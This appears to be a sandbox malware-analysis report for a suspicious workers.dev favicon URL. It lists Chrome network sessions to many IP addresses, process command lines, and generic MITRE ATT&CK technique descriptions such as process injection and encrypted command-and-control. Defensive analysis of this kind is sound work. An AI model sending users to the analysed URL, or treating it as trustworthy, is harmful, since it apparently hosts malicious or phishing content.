Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.4	50985	34.117.228.201	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.4	50986	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.4	50987	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.4	50977	82.145.213.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.4	50988	3.232.243.114	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.4	50990	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.4	50991	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.4	50992	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.4	50994	104.22.50.98	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.4	50989	3.91.171.220	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.4	50995	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.4	50997	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.4	50999	172.253.63.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.4	50998	67.202.105.34	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.4	51001	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.4	51002	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.4	51000	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.4	51003	8.28.7.82	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.4	51004	104.22.51.98	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.4	51006	3.232.243.114	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.4	51007	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.4	51009	172.253.122.156	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.4	51008	198.148.27.131	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.4	51011	74.119.117.17	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.4	51010	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.4	51012	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.4	51013	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.4	51015	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.4	51016	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.4	50993	52.215.143.51	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.4	51014	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.4	51019	67.202.105.22	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.4	51020	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.4	51025	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.4	51023	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.4	51027	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.4	51021	67.202.105.22	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.4	51024	67.202.105.22	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.4	51030	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.4	51031	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.4	51022	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.4	51032	172.253.63.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.4	51033	67.202.105.22	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.4	51034	67.202.105.22	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.4	51036	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.4	51037	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.4	51042	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.4	51041	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.4	51038	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.4	51039	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.4	51044	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.4	51043	51.222.39.187	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.4	51045	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.4	51046	172.253.63.148	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.4	51049	67.202.105.22	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.4	50983	80.77.87.166	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.4	51050	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.4	51052	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.4	51051	34.117.239.71	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.4	51053	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.4	51055	34.117.239.71	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.4	51054	192.229.211.36	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.4	51057	34.117.239.71	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.4	51056	34.117.239.71	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.4	51058	34.117.239.71	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.4	51059	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.4	51061	216.22.16.52	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.4	51062	34.117.239.71	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.4	51060	35.212.133.238	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.4	51063	192.229.211.36	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.4	51064	192.229.211.36	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.4	51065	192.229.211.36	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.4	51066	67.202.105.22	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.4	51067	192.229.211.36	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.4	51068	192.229.211.36	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.4	51069	192.229.211.36	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.4	51070	34.117.239.71	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.4	51071	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.4	51072	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.4	51074	69.147.92.12	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.4	51073	99.84.109.83	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.4	51075	142.251.163.147	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.4	51079	54.236.111.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.4	51081	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.4	51083	52.46.130.91	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.4	51084	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.4	51090	8.28.7.82	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.4	51085	51.222.39.184	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.4	51088	51.222.39.184	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.4	51089	51.222.39.184	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.4	51087	51.222.39.184	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.4	51086	51.222.39.184	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.4	51091	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.4	51097	52.201.108.5	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.4	51096	52.201.108.5	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.4	51095	142.251.167.155	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.4	51094	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.4	51099	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.4	51101	51.222.39.184	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.4	51098	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.4	51093	3.91.171.154	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.4	51102	54.236.111.19	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.4	51100	35.211.178.172	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.4	51103	23.62.24.69	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.4	51104	142.251.167.149	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.4	51105	51.222.39.187	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.4	51106	69.147.92.11	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.4	51107	51.222.39.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Target ID:	0
Start time:	00:40:59
Start date:	28/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	00:41:06
Start date:	28/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:41:06
Start date:	28/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	00:41:07
Start date:	28/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2024,i,12667267927742873418,10853461154328704347,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:41:32
Start date:	28/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:41:58
Start date:	28/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6180 --field-trial-handle=1948,i,16941438996351800518,16264357058940727454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 246

Chrome Cache Entry: 247

Chrome Cache Entry: 248

Chrome Cache Entry: 249

Chrome Cache Entry: 250

Chrome Cache Entry: 251

Chrome Cache Entry: 252

Chrome Cache Entry: 253

Chrome Cache Entry: 254

Chrome Cache Entry: 255

Chrome Cache Entry: 256

Chrome Cache Entry: 257

Chrome Cache Entry: 258

Chrome Cache Entry: 259

Chrome Cache Entry: 260

Chrome Cache Entry: 261

Chrome Cache Entry: 262

Chrome Cache Entry: 263

Chrome Cache Entry: 264

Chrome Cache Entry: 265

Chrome Cache Entry: 266

Chrome Cache Entry: 267

Chrome Cache Entry: 268

Chrome Cache Entry: 269

Chrome Cache Entry: 270

Chrome Cache Entry: 271

Chrome Cache Entry: 272

Chrome Cache Entry: 273

Windows Analysis Report
https://yhs-world-aged-dust-4671.aubrey744.workers.dev/favicon.ico